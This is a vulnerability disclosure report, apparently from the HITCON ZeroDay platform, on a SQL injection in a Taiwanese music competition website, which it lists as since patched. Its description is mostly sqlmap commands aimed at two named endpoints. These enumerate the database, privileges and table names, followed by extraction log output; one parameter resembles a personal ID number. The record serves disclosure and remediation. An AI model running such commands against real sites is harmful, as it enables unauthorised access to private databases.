Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-01039
- Vendor: 文化盃音樂大賽籌備委員會
- Title: 文化盃音樂大賽 MYSQL注入漏洞
- Introduction: MYSQL注入漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/08/17 16:08:51 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/17 16:19:55 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/17 16:31:22 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/21 16:09:25 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 16:48:05 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 16:48:05 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 16:48:05 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/17 15:03:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/17 15:03:01 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/17 15:03:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/10/07 17:44:33 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/10/08 03:53:58 : 確認已修補 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/10/12 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-01039
- 通報者:koby12345 (桃園怪人協會幹部之一)
- 風險:低
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
確認可注入
https://taiwanmusic.org
sqlmap -u "https://taiwanmusic.org/culture/score/" \
--data "fun=lis&area=%E6%96%B0%E7%AB%B9&item=2&group=17" \
-p "fun,area,item,group" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2
查當前數據庫(music)
sqlmap -u "https://taiwanmusic.org/culture/score/" \
--data "fun=lis&area=%E6%96%B0%E7%AB%B9&item=2&group=17" \
-p "area" \
--dbms=mysql \
--technique=T \
--timeless \
--current-db \
--batch \
--random-agent \
--threads=1 \
--tamper space2comment \
--level=3 \
--risk=2
查DBA (music_user1@%) 不是DBA
sqlmap -u "https://taiwanmusic.org/culture/score/" \
--data "fun=lis&area=%E6%96%B0%E7%AB%B9&item=2&group=17" \
-p "area" \
--dbms=mysql \
--technique=T \
--timeless \
--is-dba \
--batch \
--random-agent \
--threads=1 \
--tamper space2comment \
--level=3 \
--risk=2
列出所有數據庫
sqlmap -u "https://taiwanmusic.org/culture/score/" \
--data "fun=lis&area=%E6%96%B0%E7%AB%B9&item=2&group=17" \
-p "area" \
--dbms=mysql \
--technique=T \
--timeless \
--dbs \
--batch \
--random-agent \
--threads=1 \
--tamper space2comment \
--level=3 \
--risk=2
目標有防火牆 又有雜七雜八的東西
沒開3306端口
第二個注入點
sqlmap -u "https://taiwanmusic.org/culture/judgement/" \
--data "fun=lis&id=A135592156" \
-p "fun,id" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2
sqlmap -u "https://taiwanmusic.org/culture/judgement/" \
--data "fun=lis&id=A135592156" \
-p "id" \
--dbms=mysql \
--technique=T \
--timeless \
--is-dba \
--batch \
--random-agent \
--threads=1 \
--tamper space2comment \
--level=3 \
--risk=2
挖了一點表名
[16:13:30] [WARNING] the target's responses are inconsistent for known-true/known-false probes (reads-everything-true, WAF, or a flaky/degraded channel); extracted data may be unreliable. Consider raising '--time-sec', lowering '--threads', or retrying
[16:13:30] [INFO] retrieved: account
[16:14:01] [INFO] retrieved: admin
[16:14:21] [INFO] retrieved: admin_right
[16:15:52] [INFO] retrieved: allgroup
[16:17:07] [INFO] retrieved: allitem
[16:17:58] [INFO] retrieved: basic
[16:18:46] [INFO] retrieved: correct
[16:19:39] [INFO] retrieved: erro
[16:20:34] [ERROR] invalid character detected. retrying..
[16:20:34] [WARNING] increasing time delay to 2 seconds
r
[16:20:54] [INFO] retrieved: hits
[16:22:02] [INFO] retrieved: income
[16:23:56] [INFO] retrieved: judge
[16:25:30] [INFO] retrieved: judge_logintime
[16:29:32] [INFO] retrieved: judge_p